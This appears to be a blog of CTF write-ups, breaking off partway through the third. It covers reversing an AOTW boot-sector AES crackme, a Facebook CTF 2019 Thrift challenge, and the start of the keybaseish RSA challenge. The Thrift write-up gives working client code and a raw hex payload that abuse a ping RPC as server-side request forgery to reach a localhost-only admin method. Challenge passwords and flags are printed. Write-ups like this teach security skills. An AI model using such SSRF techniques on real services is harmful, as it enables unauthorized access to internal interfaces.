M*BLQ8CLG(S!C0D]($B,Q,34M,"9X8D)/2`$M+R=B(",A*6(U*S8J8B-B+RTF
M)S`L8@$2%V)X$D)*8DI"D)"0D)"0T(/KBQ^!OZ,P,!19EYHU$!Q"0^0^+?8=
MLGYZ',K_"4>'+N_UK&=A-F;*%C\%\==(/3KT`Z,2Z9H#""'!!8^R$@7;]B-X
M,!IB!^0G^\"KVJA;B3LZ[UWH*Z&N[\1C>BI>!*:]<K/H%+3,";[B@>;E72IV
M>$Z%?*Q4`F_Q'B"KDWX.2B^Y@Z8F-2$8/0MDV'.]]_X:@#91.)"@-!%M,%Y2
15&UY@+FE"I<D#2W\-@V55:H`
`
end

This looks to be Uuencoding. Luckily, Python handles this elegantly as well:

1
2
3
4
uudecoded_text = uuencoded_text.decode('uu')

with open('boot.bin', 'wb') as f:
f.write(uudecoded_text)

Now I can check what this file is…

1
2
3
4
$ ls -l boot.bin
-rw-r--r-- 1 wellingtonlee staff 512 Nov 30 00:57 boot.bin
$ file boot.bin
boot.bin: DOS/MBR boot sector

After doing quite a bit of research into DOS/MBR boot sector, basically I figured this was a reversing challenge as the code starting at the beginning of the 512 byte file is executed and set at offset 0x7c00. A good first step is to disassemble the binary portions with objdump. Some special flags need to be used, however. The boot sector code uses 16 bit addressing and also 16 bit data segments so I had to specify this manually.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
$ objdump -M intel -D -b binary -mi386 -Maddr16,data16 boot.bin

boot.bin: file format binary


Disassembly of section .data:

00000000 <.data>:
0: fa cli
1: 31 c0 xor ax,ax
3: 8e d8 mov ds,ax
5: 8e c0 mov es,ax
7: 8e d0 mov ss,ax
9: bc 00 7c mov sp,0x7c00
c: 40 inc ax
d: 0f a2 cpuid
f: 0f 20 c0 mov eax,cr0
12: 83 e0 fb and ax,0xfffb
15: 83 c8 02 or ax,0x2
18: 0f 22 c0 mov cr0,eax
1b: 0f 20 e0 mov eax,cr4
1e: 0d 00 06 or ax,0x600
21: 0f 22 e0 mov cr4,eax
24: be f6 7c mov si,0x7cf6
27: e8 be 00 call 0xe8
2a: 66 0f ba e1 19 bt ecx,0x19
2f: 73 4d jae 0x7e
31: be 18 7d mov si,0x7d18
34: e8 b1 00 call 0xe8
37: bf 00 7e mov di,0x7e00
3a: 31 c0 xor ax,ax
3c: cd 16 int 0x16
3e: 3c 0d cmp al,0xd
40: 74 1a je 0x5c
42: 3c 08 cmp al,0x8
44: 75 0f jne 0x55
46: 81 ff 00 7e cmp di,0x7e00
4a: 7e ee jle 0x3a
4c: be 46 7d mov si,0x7d46
4f: e8 96 00 call 0xe8
52: 4f dec di
53: eb e5 jmp 0x3a
55: aa stos BYTE PTR es:[di],al
56: b4 0e mov ah,0xe
58: cd 10 int 0x10
5a: eb de jmp 0x3a
5c: 81 ff 10 7e cmp di,0x7e10
60: 75 cf jne 0x31
62: 0f 28 06 f0 7d movaps xmm0,XMMWORD PTR ds:0x7df0
67: 0f 28 1e 00 7e movaps xmm3,XMMWORD PTR ds:0x7e00
6c: e8 34 00 call 0xa3
6f: 66 0f ef 1e e0 7d pxor xmm3,XMMWORD PTR ds:0x7de0
75: 66 0f 38 17 db ptest xmm3,xmm3
7a: 74 0a je 0x86
7c: eb b3 jmp 0x31
7e: be 25 7d mov si,0x7d25
81: e8 64 00 call 0xe8
84: eb fe jmp 0x84
86: be 50 7d mov si,0x7d50
89: 0f 28 06 00 7e movaps xmm0,XMMWORD PTR ds:0x7e00
8e: 0f 28 1c movaps xmm3,XMMWORD PTR [si]
91: e8 0f 00 call 0xa3
94: 0f 29 1c movaps XMMWORD PTR [si],xmm3
97: 83 c6 10 add si,0x10
9a: 81 fe e0 7d cmp si,0x7de0
9e: 75 e9 jne 0x89
a0: e9 ad 00 jmp 0x150
a3: 66 0f ef d2 pxor xmm2,xmm2
a7: 66 0f ef d8 pxor xmm3,xmm0
ab: bb e5 36 mov bx,0x36e5
ae: b4 73 mov ah,0x73
b0: c1 e8 07 shr ax,0x7
b3: f6 f3 div bl
b5: 88 26 be 7c mov BYTE PTR ds:0x7cbe,ah
b9: 66 0f 3a df c8 45 aeskeygenassist xmm1,xmm0,0x45
bf: 66 0f 70 c9 ff pshufd xmm1,xmm1,0xff
c4: 0f c6 d0 10 shufps xmm2,xmm0,0x10
c8: 66 0f ef c2 pxor xmm0,xmm2
cc: 80 36 c7 7c 9c xor BYTE PTR ds:0x7cc7,0x9c
d1: 78 f1 js 0xc4
d3: 66 0f ef c1 pxor xmm0,xmm1
d7: 38 fc cmp ah,bh
d9: 74 07 je 0xe2
db: 66 0f 38 dc d8 aesenc xmm3,xmm0
e0: eb ce jmp 0xb0
e2: 66 0f 38 dd d8 aesenclast xmm3,xmm0
e7: c3 ret
e8: b4 0e mov ah,0xe
ea: ac lods al,BYTE PTR ds:[si]
eb: 34 42 xor al,0x42
ed: 74 06 je 0xf5
ef: 31 db xor bx,bx
f1: cd 10 int 0x10
f3: eb f3 jmp 0xe8
f5: c3 ret
f6: 4f dec di
f7: 48 dec ax
f8: 15 27 62 adc ax,0x6227
fb: 37 aaa
fc: 32 25 xor ah,BYTE PTR [di]
fe: 30 23 xor BYTE PTR [bp+di],ah
100: 26 27 es daa
102: 26 62 24 bound sp,DWORD PTR es:[si]
105: 30 2d xor BYTE PTR [di],ch
107: 2f das
108: 62 10 bound dx,DWORD PTR [bx+si]
10a: 01 76 62 add WORD PTR [bp+0x62],si
10d: 36 2a 2b sub ch,BYTE PTR ss:[bp+di]
110: 31 62 3b xor WORD PTR [bp+si+0x3b],sp
113: 27 daa
114: 23 30 and si,WORD PTR [bx+si]
116: 63 42 4f arpl WORD PTR [bp+si+0x4f],ax
119: 48 dec ax
11a: 12 23 adc ah,BYTE PTR [bp+di]
11c: 31 31 xor WORD PTR [bx+di],si
11e: 35 2d 30 xor ax,0x302d
121: 26 78 62 es js 0x186
124: 42 inc dx
125: 4f dec di
126: 48 dec ax
127: 01 2d add WORD PTR [di],bp
129: 2f das
12a: 27 daa
12b: 62 20 bound sp,DWORD PTR [bx+si]
12d: 23 21 and sp,WORD PTR [bx+di]
12f: 29 62 35 sub WORD PTR [bp+si+0x35],sp
132: 2b 36 2a 62 sub si,WORD PTR ds:0x622a
136: 23 62 2f and sp,WORD PTR [bp+si+0x2f]
139: 2d 26 27 sub ax,0x2726
13c: 30 2c xor BYTE PTR [si],ch
13e: 62 01 bound ax,DWORD PTR [bx+di]
140: 12 17 adc dl,BYTE PTR [bx]
142: 62 78 12 bound di,DWORD PTR [bx+si+0x12]
145: 42 inc dx
146: 4a dec dx
147: 62 4a 42 bound cx,DWORD PTR [bp+si+0x42]
14a: 90 nop
14b: 90 nop
14c: 90 nop
14d: 90 nop
14e: 90 nop
14f: 90 nop
150: d0 83 eb 8b rol BYTE PTR [bp+di-0x7415],1
154: 1f pop ds
155: 81 bf a3 30 30 14 cmp WORD PTR [bx+0x30a3],0x1430
15b: 59 pop cx
15c: 97 xchg di,ax
15d: 9a 35 10 1c 42 call 0x421c:0x1035
162: 43 inc bx
163: e4 3e in al,0x3e
165: 2d f6 1d sub ax,0x1df6
168: b2 7e mov dl,0x7e
16a: 7a 1c jp 0x188
16c: ca ff 09 retf 0x9ff
16f: 47 inc di
170: 87 2e ef f5 xchg WORD PTR ds:0xf5ef,bp
174: ac lods al,BYTE PTR ds:[si]
175: 67 61 addr32 popa
177: 36 66 ca 16 3f ss retf 0x3f16
17c: 05 f1 d7 add ax,0xd7f1
17f: 48 dec ax
180: 3d 3a f4 cmp ax,0xf43a
183: 03 a3 12 e9 add sp,WORD PTR [bp+di-0x16ee]
187: 9a 03 08 21 c1 call 0xc121:0x803
18c: 05 8f b2 add ax,0xb28f
18f: 12 05 adc al,BYTE PTR [di]
191: db f6 fcomi st,st(6)
193: 23 78 30 and di,WORD PTR [bx+si+0x30]
196: 1a 62 07 sbb ah,BYTE PTR [bp+si+0x7]
199: e4 27 in al,0x27
19b: fb sti
19c: c0 ab da a8 5b shr BYTE PTR [bp+di-0x5726],0x5b
1a1: 89 3b mov WORD PTR [bp+di],di
1a3: 3a ef cmp ch,bh
1a5: 5d pop bp
1a6: e8 2b a1 call 0xa2d4
1a9: ae scas al,BYTE PTR es:[di]
1aa: ef out dx,ax
1ab: c4 63 7a les sp,DWORD PTR [bp+di+0x7a]
1ae: 2a 5e 04 sub bl,BYTE PTR [bp+0x4]
1b1: a6 cmps BYTE PTR ds:[si],BYTE PTR es:[di]
1b2: bd 72 b3 mov bp,0xb372
1b5: e8 14 b4 call 0xb5cc
1b8: cc int3
1b9: 09 be e2 81 or WORD PTR [bp-0x7e1e],di
1bd: e6 e5 out 0xe5,al
1bf: 5d pop bp
1c0: 2a 76 78 sub dh,BYTE PTR [bp+0x78]
1c3: 4e dec si
1c4: 85 7c ac test WORD PTR [si-0x54],di
1c7: 54 push sp
1c8: 02 6f f1 add ch,BYTE PTR [bx-0xf]
1cb: 1e push ds
1cc: 20 ab 93 7e and BYTE PTR [bp+di+0x7e93],ch
1d0: 0e push cs
1d1: 4a dec dx
1d2: 2f das
1d3: b9 83 a6 mov cx,0xa683
1d6: 26 35 21 18 es xor ax,0x1821
1da: 3d 0b 64 cmp ax,0x640b
1dd: d8 73 bd fdiv DWORD PTR [bp+di-0x43]
1e0: f7 fe idiv si
1e2: 1a 80 36 51 sbb al,BYTE PTR [bx+si+0x5136]
1e6: 38 90 a0 34 cmp BYTE PTR [bx+si+0x34a0],dl
1ea: 11 6d 30 adc WORD PTR [di+0x30],bp
1ed: 5e pop si
1ee: 52 push dx
1ef: 54 push sp
1f0: 6d ins WORD PTR es:[di],dx
1f1: 79 80 jns 0x173
1f3: b9 a5 0a mov cx,0xaa5
1f6: 97 xchg di,ax
1f7: 24 0d and al,0xd
1f9: 2d fc 36 sub ax,0x36fc
1fc: 0d 95 55 or ax,0x5595
1ff: aa stos BYTE PTR es:[di],al

It’s important to note that not the entirety of this disassembly is actual code. I was sure that some of this was actually data. Up until about 0xf6, the instructions look more-or-less normal (by normal, I mean similar to other assembly code after my many, many hours of staring at assembly). Assembly code usually has a typical flow. By around 0xf6, the assembly looks a bit wonky. Later on, I found out that my assumption was correct - 0xf6 and beyond is data segments.

It always helps to be able to run a binary and see what it does. To do debugging on this binary, I used the Bochs IA32 Emulator. Installing the emulator with the dlxlinux demo gave me a project to go off of. After downloading and installing the Bochs Emulator, I followed instructions from The Starman’s page on “How to DEBUG System Code using The Bochs Emulator on a Windows PC”. I used the default bochsrc.bxrc file given with the dlxlinux demo but had to figure out how to use the custom DOS/MBR bootsector from the challenge. To do that, I took the hd10meg.img disk from the demo and overwrote the first 512 bytes with the boot.bin to create a final.img. This is likely fine, as I was pretty certain that the boot sector code I needed to run/debug wasn’t affected by the rest of the disk. It took me many hours of fiddling around and learning Bochs before I could figure all of this out.

Running Boot sector in Bochs: CPU too old?

Bochs has an option which allows you to specify what CPU model it uses. The likely scenario is that the default CPU that Bochs uses does not have SSE support for the xmm (and possibly the aes?) instructions I saw in the disassembly. I found a page from the Bochs User Manual which specifies the CPU models I can choose in the emulator. The default that Bochs uses was the bx_generic which does not seem to have SSE support. After trying several of them, I found that corei7_sandy_bridge_2600k worked fine. I modified the cpu line to the bochsrc.bxrc file in the appropriate location:

1
cpu: model=corei7_sandy_bridge_2600k, ips=15000000

Now running the emulator gives a different output:

Running Boot sector in Bochs: Crackme?

It looks to be a simple crackme? Before I tried to find the solution, something bugged me. There must be code grabbing the text for the program. Where were the texts “We upgraded from RC4 this year!” and “Password: “ coming from? I had a hunch that this text might have been encoded in the data portions in 0xf6 and onwards. Analyzing the assembly a bit more, I saw that there are several calls to 0xe8, which does some xor with 0x42 or B. Isolating these calls and the instructions immediately before them give:

1
2
3
4
5
6
7
8
9
10
11
  24: be f6 7c              mov    si,0x7cf6
27: e8 be 00 call 0xe8
...
31: be 18 7d mov si,0x7d18
34: e8 b1 00 call 0xe8
...
4c: be 46 7d mov si,0x7d46
4f: e8 96 00 call 0xe8
...
7e: be 25 7d mov si,0x7d25
81: e8 64 00 call 0xe8

It’s important to remember that the offset of the program is 0x7c00 for DOS/MBR bootsectors (Remember the hint from opening the webpage in Google Chrome? Hint: $ break *0x7c00). Since the entire boot.bin is only 512 bytes, I opted to just xor the entire thing with 0x42 to get the output and hexdump it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
00000000  b8 73 82 cc 9a cc 82 cc  92 fe 42 3e 02 4d e0 4d  |.s........B>.M.M|
00000010 62 82 c1 a2 b9 c1 8a 40 4d 60 82 4d 62 a2 4f 42 |b......@M`.Mb.OB|
00000020 44 4d 60 a2 fc b4 3e aa fc 42 24 4d f8 a3 5b 31 |DM`...>..B$M..[1|
00000030 0f fc 5a 3f aa f3 42 fd 42 3c 73 82 8f 54 7e 4f |..Z?..B.B<s..T~O|
00000040 36 58 7e 4a 37 4d c3 bd 42 3c 3c ac fc 04 3f aa |6X~J7M..B<<...?.|
00000050 d4 42 0d a9 a7 e8 f6 4c 8f 52 a9 9c c3 bd 52 3c |.B.....L.R....R<|
00000060 37 8d 4d 6a 44 b2 3f 4d 6a 5c 42 3c aa 76 42 24 |7.MjD.?Mj\B<.vB$|
00000070 4d ad 5c a2 3f 24 4d 7a 55 99 36 48 a9 f1 fc 67 |M.\.?$MzU.6H...g|
00000080 3f aa 26 42 a9 bc fc 12 3f 4d 6a 44 42 3c 4d 6a |?.&B....?MjDB<Mj|
00000090 5e aa 4d 42 4d 6b 5e c1 84 52 c3 bc a2 3f 37 ab |^.MBMk^..R...?7.|
000000a0 ab ef 42 24 4d ad 90 24 4d ad 9a f9 a7 74 f6 31 |..B$M..$M....t.1|
000000b0 83 aa 45 b4 b1 ca 64 fc 3e 24 4d 78 9d 8a 07 24 |..E...d.>$Mx...$|
000000c0 4d 32 8b bd 4d 84 92 52 24 4d ad 80 c2 74 85 3e |M2..M..R$M...t.>|
000000d0 de 3a b3 24 4d ad 83 7a be 36 45 24 4d 7a 9e 9a |.:.$M..z.6E$Mz..|
000000e0 a9 8c 24 4d 7a 9f 9a 81 f6 4c ee 76 00 36 44 73 |..$Mz....L.v.6Ds|
000000f0 99 8f 52 a9 b1 81 0d 0a 57 65 20 75 70 67 72 61 |..R.....We upgra|
00000100 64 65 64 20 66 72 6f 6d 20 52 43 34 20 74 68 69 |ded from RC4 thi|
00000110 73 20 79 65 61 72 21 00 0d 0a 50 61 73 73 77 6f |s year!...Passwo|
00000120 72 64 3a 20 00 0d 0a 43 6f 6d 65 20 62 61 63 6b |rd: ...Come back|
00000130 20 77 69 74 68 20 61 20 6d 6f 64 65 72 6e 20 43 | with a modern C|
00000140 50 55 20 3a 50 00 08 20 08 00 d2 d2 d2 d2 d2 d2 |PU :P.. ........|
00000150 92 c1 a9 c9 5d c3 fd e1 72 72 56 1b d5 d8 77 52 |....]...rrV...wR|
00000160 5e 00 01 a6 7c 6f b4 5f f0 3c 38 5e 88 bd 4b 05 |^...|o._.<8^..K.|
00000170 c5 6c ad b7 ee 25 23 74 24 88 54 7d 47 b3 95 0a |.l...%#t$.T}G...|
00000180 7f 78 b6 41 e1 50 ab d8 41 4a 63 83 47 cd f0 50 |.x.A.P..AJc.G..P|
00000190 47 99 b4 61 3a 72 58 20 45 a6 65 b9 82 e9 98 ea |G..a:rX E.e.....|
000001a0 19 cb 79 78 ad 1f aa 69 e3 ec ad 86 21 38 68 1c |..yx...i....!8h.|
000001b0 46 e4 ff 30 f1 aa 56 f6 8e 4b fc a0 c3 a4 a7 1f |F..0..V..K......|
000001c0 68 34 3a 0c c7 3e ee 16 40 2d b3 5c 62 e9 d1 3c |h4:..>..@-.\b..<|
000001d0 4c 08 6d fb c1 e4 64 77 63 5a 7f 49 26 9a 31 ff |L.m...dwcZ.I&.1.|
000001e0 b5 bc 58 c2 74 13 7a d2 e2 76 53 2f 72 1c 10 16 |..X.t.z..vS/r...|
000001f0 2f 3b c2 fb e7 48 d5 66 4f 6f be 74 4f d7 17 e8 |/;...H.fOo.tO...|

Here, it’s now easy to see that 0x7cf6 refers to the text We upgraded from RC4 this year!. 0x7d18 refers to the text Password:. 0x7d25 refers to the text Come back with a modern CPU :P. At the moment, the text referred to by 0x7d46 is a bit of an unknown.

After a bit more debugging, I found a length check for my input:

1
5c: 81 ff 10 7e           cmp    di,0x7f10

The above line of assembly always checks to see if the length of my input is 0x10 or 16 bytes long.

After many more hours of debugging the code with many breakpoints, I figured out that the routine is simply doing an AES ECB encryption with the 16 bytes at 0x7df0 as the key:

1
0x7df0: 6d 79 80 b9 a5 0a 97 24  0d 2d fc 36 0d 95 55 aa

And comparing the output against the 16 bytes at 0x7de0:

1
0x7de0: f7 fe 1a 80 36 51 38 90  a0 34 11 6d 30 5e 52 54

I wrote some quick Python code to decrypt the resulting comparison:

1
2
3
4
5
from Crypto.Cipher import AES 

key = '6d7980b9a50a97240d2dfc360d9555aa'.decode('hex')
aes = AES.new(key, AES.MODE_ECB)
print aes.decrypt('f7fe1a8036513890a034116d305e5254'.decode('hex'))

This gave me the output:

1
MiLiT4RyGr4d3MbR

I input this as the password to get the flag:

flag!

1
AOTW{31oct__1s__25dec}

See all the text that comes up after putting in the right password? This has to have been stored somewhere in the binary. After a bit more reversing, the data starting at 0x7d50 is AES encrypted with the password I input MiLiT4RyGr4d3MbR and then xor’d with 0x42. The code reuses the snippet of assembly from AES encrypting for this portion. I assume that this was possibly to keep the binary under 512 bytes (and fitting within a DOS/MBR bootsector). I wrote a small Python snippet to output this as well:

1
2
3
4
5
from Crypto.Util import strxor
from Crypto.Cipher import AES
aes = AES.new('MiLiT4RyGr4d3MbR', AES.MODE_ECB)
to_decrypt = open('boot.bin', 'rb').read()[0x150:] # Offset of 0x7d50
print strxor.strxor_c(aes.encrypt(to_decrypt), 0x42) # Note that we AES encrypt here, instead of decrypt

The resulting output from running the above after omitting unprintable characters:

1
2
3
4
5
6
Wow, 512 bytes is a lot of space.
Enjoy the rest of AOTW!

Anyway, here's your flag: AOTW{31oct__1s__25dec}

- Retr0idBBBBBB

The B‘s at the end were most likely hex 0x0 being xor’d with the 0x42 (since 0x42 is B in ASCII). The actual data that is xor’d with 0x42 starts at 0x7d58, despite the AES encryption starting at 0x7d50.


Pretty fun for a zero-th challenge! I’m excited to see what other challenges there are in the advent. I’m writing these writeups as I solve them but these writeups won’t be published until after the event (which I believe is after Dec 26, 2019, 12:00UTC). There will most likely not be a writeup for every challenge, since I’m sure I can’t solve all of them. Until next time!

Facebook CTF 2019 homework_assignment_1337 Writeup

Facebook CTF 2019’s homework_assignment_1337 was an interesting challenge which forced me to learn Apache Thrift, a language agnostic RPC client-server sort of language. The actual explanation from the Apache Thrift website is:

The Apache Thrift software framework, for scalable cross-language services development, combines a software stack with a code generation engine to build services that work efficiently and seamlessly between C++, Java, Python, PHP, Ruby, Erlang, Perl, Haskell, C#, Cocoa, JavaScript, Node.js, Smalltalk, OCaml and Delphi and other languages.

This challenge forced me to learn a bit of it, so here we go.


homework_assignment_1337 Challenge Description

homework_assignment_1337.tar.gz

The given ping.thrift file looks like the following:

ping.thrift

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
/*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/

# Thrift Tutorial
#
# This file aims to teach you how to use Thrift, in a .thrift file. Neato. The
# first thing to notice is that .thrift files support standard shell comments.
# This lets you make your thrift file executable and include your Thrift build
# step on the top line. And you can place comments like this anywhere you like.
#
# Before running this file, you will need to have installed the thrift compiler
# into /usr/local/bin.

/**
* The first thing to know about are types. The available types in Thrift are:
*
* bool Boolean, one byte
* i8 (byte) Signed 8-bit integer
* i16 Signed 16-bit integer
* i32 Signed 32-bit integer
* i64 Signed 64-bit integer
* double 64-bit floating point value
* string String
* binary Blob (byte array)
* map<t1,t2> Map from one type to another
* list<t1> Ordered list of one type
* set<t1> Set of unique elements of one type
*
* Did you also notice that Thrift supports C style comments?
*/

// Just in case you were wondering... yes. We support simple C comments too.

/**
* You can define enums, which are just 32 bit integers. Values are optional
* and start at 1 if not supplied, C style again.
*/
enum Proto {
TCP = 1,
UNIX = 2
}

/**
* Structs are the basic complex data structures. They are comprised of fields
* which each have an integer identifier, a type, a symbolic name, and an
* optional default value.
*
* Fields can be declared "optional", which ensures they will not be included
* in the serialized output if they aren't set. Note that this requires some
* manual management in some languages.
*/
struct Pong {
1: i32 code
2: binary data
}

struct Ping {
1: Proto proto
2: string host
3: binary data
}

struct Debug {
1: i32 dummy
}

struct PongDebug {
1: list<Ping> pings
}

/**
* Ahh, now onto the cool part, defining a service. Services just need a name
* and can optionally inherit from another service using the extends keyword.
*/
service PingBot {
/**
* A method definition looks like C code. It has a return type, arguments,
* and optionally a list of exceptions that it may throw. Note that argument
* lists and exception lists are specified using the exact same syntax as
* field lists in struct or exception definitions.
*/

// As part of your homework you should call this method.
// Ping the server I set up by correctly setting the proto and host fields
// within the Ping structure.
Pong ping(1:Ping input),

// You do not have to call this method as part of your homework.
// I added this to check people's work, it is my admin interface so to speak.
// It should only work for localhost connections either way, if your client
// tries to call it, your connection will be denied, hahaha!
PongDebug pingdebug(1:Debug dummy),
}

There’s quite a bit of comments, which are there to teach Thrift. The actual meat of the code isn’t very… meaty. In fact, it’s rather straightforward. The idea is that the the problem wants me to call the ping method on the server. The ping method takes a single argument, a special struct Ping which has three fields: proto, host, and data. All of this is abstract, however, as Thrift compiles servers and clients to other major programming langauges.

I had initially installed Thrift on my VM by downloading the source code, compiling, building, and installing Thrift 0.12.0. This took a lot longer than expected but I found out later that Thrift can simply be installed via a simple:

1
2
3
$ sudo apt install python-thrift thrift-compiler
$ thrift --version
Thrift version 0.9.1

After installing Thrift, I generated the Python server/client code by running:

1
$ thrift --gen py ping.thrift

Note that I could have generated the server/client code in another language by changing py. I also believe that you can generate code for multiple languages at once.

After running the thrift python generation, a new folder was created in the current directory:

1
2
3
4
5
6
7
8
gen-py
├── __init__.py
└── ping
├── PingBot-remote
├── PingBot.py
├── __init__.py
├── constants.py
└── ttypes.py

So it looks like I got a lot of files with all of the datatypes defined and the data transport defined in libraries for me to call. Looking through most of the files gave me some insight. The most important file was ttypes.py, as it defined the datatypes, objects, and how to build them. For example, I was able to figure out how to build a Ping() object.

Drawing off of example tutorials on Thrift, I wrote up a quick prototype which would call the ping function on the remote side:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import sys, glob
sys.path.append('gen-py')

from ping import *

from thrift import Thrift
from thrift.transport import TSocket
from thrift.transport import TTransport
from thrift.protocol import TBinaryProtocol

def main():

# Make socket
transport = TSocket.TSocket('challenges.fbctf.com', 9090)

# Buffering is critical. Raw sockets are very slow
transport = TTransport.TBufferedTransport(transport)

# Wrap in a protocol
protocol = TBinaryProtocol.TBinaryProtocol(transport)

# Create a client to use the protocol encoder
client = PingBot.Client(protocol)

# Build our ping object
ping = ttypes.Ping()
ping.proto = 2
ping.host = 'facebook.com:80'
ping.data = 'GET / HTTP/1.0\r\n\r\n'

# Connect!
transport.open()

pong = client.ping(ping)

print pong

transport.close()

if __name__ == '__main__':
try:
main()
except Thrift.TException as tx:
print('%s' % tx.message)

Running this Python client script gave me the following output:

1
Pong(code=0, data='HTTP/1.1 301 Moved Permanently\r\n')

Hmm… That seems.. kind of right? So it seems like this ping function doesn’t actually do the ping that I thought of initially, which is the ICMP ping. I was initially pretty confused at why there was a data field in the Ping struct. Also, calling ping seemed to continually throw exceptions if I didn’t provide a port number, which was also confusing because ICMP has no port!

In effect, it looks like the ping function is more like a “send a packet with this data to this host and this port” function!

Looking back at the original ping.thrift file, I see that there’s a function pingdebug:

1
2
3
4
5
// You do not have to call this method as part of your homework.
// I added this to check people's work, it is my admin interface so to speak.
// It should only work for localhost connections either way, if your client
// tries to call it, your connection will be denied, hahaha!
PongDebug pingdebug(1:Debug dummy),

How snarky! In fact, I feel like this is very common, where there is some sort of function or piece of code which I’m not supposed to call, but in fact ends up being the solution. I’ve written a challenge myself which has this level of snarkiness. Presumably, I’ll have to call the pingdebug function to get the flag.

With what I know so far, this seems fairly straightforward, since the ping function can be used to send a pingdebug RPC to localhost:9090. Before I can do this, I need to know what the data would need to be for a pingdebug RPC. I can figure this out by calling this function directly from my client. I assume that it won’t succeed but I can take a tcpdump of the data and grab the raw hex.

I modified the middle portion of my Thrift python client code:

1
2
3
4
5
6
dbg = ttypes.Debug(dummy=1337)

# Connect!
transport.open()
pongdebug = client.pingdebug(dbg)
print pongdebug

I used tcpdump to monitor what this data looked like so I could replicate it. Here’s the packet we care about in Wireshark:

Thrift Packet for pingdebug

The highlighted portion is the contents of the pingdebug packet, which I care about to send through ping. I grab the hex representation of this data and set it as ping.data.

Reformatting the data I send through:

1
2
ping.host = 'localhost:9090'
ping.data = '800100010000000970696e676465627567000000000c0001080001000005390000'.decode('hex')

This yields the flag as the Pong response:

1
Pong(code=0, data='\x80\x01\x00\x02\x00\x00\x00\tpingdebug\x00\x00\x00\x00\x0c\x00\x00\x0f\x00\x01\x0c\x00\x00\x00\x02\x08\x00\x01\x00\x00\x00\x01\x0b\x00\x02\x00\x00\x00\x0elocalhost:9090\x0b\x00\x03\x00\x00\x00\x1f"fb{congr@ts_you_w1n_the_g@me}"\x00\x08\x00\x01\x00\x00\x00\x02\x0b\x00\x02\x00\x00\x00\x0elocalhost:9090\x0b\x00\x03\x00\x00\x00!\x80\x01\x00\x01\x00\x00\x00\tpingdebug\x00\x00\x00\x00\x0c\x00\x01\x08\x00\x01\x00\x00\x059\x00\x00\x00\x00\x00')

Facebook CTF 2019 keybaseish Writeup

Facebook CTF 2019 featured quite a fair number of challenges. I played this weekend (and spent far more time than I’d like to admit) with some coworkers and interns. Here’s the writeup to the crypto challenge keybaseish.


keybaseish Challenge Description

Visiting the website gave me the following landing page:

keybaseish Website Landing Page

Trying to register a new account gives an error:

keybaseish Registration Error

Poking around doesn’t yield much, as this is a crypto challenge and not a (eeuuugh) web challenge. However, I was pretty sure that the Forgot your password? option was where I’d find the flag:

keybaseish Forgot Your Password Form

First thing I did was take a look at the Twitter page given:

baseishcoinfou1 Twitter Page

The Twitter handle @baseishcoinfou1 only has a few tweets. Based off of the description given on the Forgot your password? page, I assume I have to somehow spoof myself as that baseishcoinfou1 guy to log in.

The script given to generate a signature from the pin on the page:

sign.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from Crypto.PublicKey import RSA
from Crypto import Random

def print_twitter(sig):
sig_str = str(sig)
n = (len(sig_str) / 255) + 1
chunks, chunk_size = len(sig_str), int(len(sig_str)/n) + 1
tweets = [ sig_str[i:i+chunk_size] for i in range(0, chunks, chunk_size) ]
print("Please post these signature strings as public twitter posts from your accout:")
for ndx in range(len(tweets)):
print (' "PRF{}/{}:{}"'.format(ndx+1, len(tweets), tweets[ndx]))

def main():
rng = Random.new().read
print('Enter challenge pin from site: ')
pin = input()
print('Signing "{}" with a new RSA key....'.format(pin))
RSAkey = RSA.generate(1024, rng)
signature = RSAkey.sign(int(pin), rng)
key_params = RSAkey.__getstate__()
print_twitter(signature[0])
print('\\n\\nPlease input your public key on the web form:')
print(' "{}:{}"'.format(key_params['e'], key_params['n']))
print('\\n\\n')

if __name__ == '__main__':
main()

Looks like a simple RSA problem! I like RSA problems since they’re (more or less) straightforward and simple if you understand the math behind RSA.

Just to test the script, I ran it:

1
2
3
4
5
6
7
8
9
10
python sign.py
Enter challenge pin from site:
181017
Signing "181017" with a new RSA key....
Please post these signature strings as public twitter posts from your accout:
"PRF1/2:12616772997099881092375957326003990137779551590105056359724007346007270008590031540842987916830146724788896698376238275605644665709297153261025689486677058"
"PRF2/2:1568999222098812125219384637167519141955275734978704095636241686766565034894108909513705239180738446930042084402798058928111360197321674943244865943473114"
\n\nPlease input your public key on the web form:
